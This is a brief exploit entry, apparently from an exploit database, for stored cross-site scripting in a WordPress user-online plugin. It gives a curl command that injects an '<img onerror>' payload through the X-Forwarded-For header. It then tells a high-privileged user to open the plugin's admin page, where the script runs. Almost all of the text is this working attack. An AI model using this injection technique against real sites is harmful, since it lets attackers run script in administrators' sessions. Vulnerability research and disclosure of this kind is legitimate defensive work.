## https://sploitus.com/exploit?id=WPEX-ID:55D23184-FC5A-4090-B079-142407B59B05 curl https://example.com -H 'X-Forwarded-For: <img src=x onerror=alert(/xss/)>' Then, as a high-privileged user, visit `/wp-admin/index.php?page=useronline`